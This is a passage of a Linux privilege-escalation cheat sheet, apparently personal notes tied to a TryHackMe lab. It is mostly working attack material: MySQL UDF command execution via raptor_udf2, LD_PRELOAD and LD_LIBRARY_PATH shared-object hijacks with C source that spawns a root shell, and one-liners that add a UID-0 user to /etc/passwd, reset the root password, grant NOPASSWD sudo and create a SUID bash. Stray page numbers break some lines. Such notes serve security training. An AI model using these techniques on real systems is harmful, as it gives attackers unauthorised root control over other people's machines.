insert into foo values(load_file('/home/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

exit

user@target$ /tmp/rootbash -p

MYSQL running as root :

mysql -u root

select sys_exec('whoami');

select sys_eval('whoami');

/* If function doesnt exist, create the function */

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

if NULL returns, try redirecting the errors 9 select sys_eval('ls /root 2>&1');

Sudo Abuse

$ sudo -l

[sudo] password for appadmin:

User appadmin may run the following commands on this host:

(root) /opt/Support/start.sh

Checklist:

Write permission to start.sh

write permission to the /opt/support

Create start.sh if doesn't exist

Environment Variables

(https://tryhackme.com/room/linuxprivesc)

Check which environment variables are inherited (look for the env_keep options):

sudo -l

LD_PRELOAD LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library.

/* Preload.c */

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0,0,0);

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:

sudo LD_PRELOAD=/tmp/preload.so program-name-here

LD_LIBRARY_PATH

LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Run ldd against the any program that you can execute as sudo (sudo -l) to see which shared libraries are used by the program:

ldd /usr/sbin/apache2

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:

/* Library_path.c */

#include <stdio.h>

#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {

unsetenv("LD_LIBRARY_PATH");

setresuid(0,0,0); 10 system("/bin/bash -p");

}

gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c

Run program using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):

sudo LD_LIBRARY_PATH=/tmp program-name-here

Escalation Methods

echo root:gl0b0 | /usr/sbin/chpasswd

// exploit : exploit (pwd)

echo "exploit:YZE7YPhZJyUks:0:0:root:/root:/bin/bash" >> /etc/passwd | su -

nano /etc/passwd -> change GID to root

nano /etc/sudoers -> user ALL=(ALL) NOPASSWD:ALL

cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash;

/tmp/rootbash -p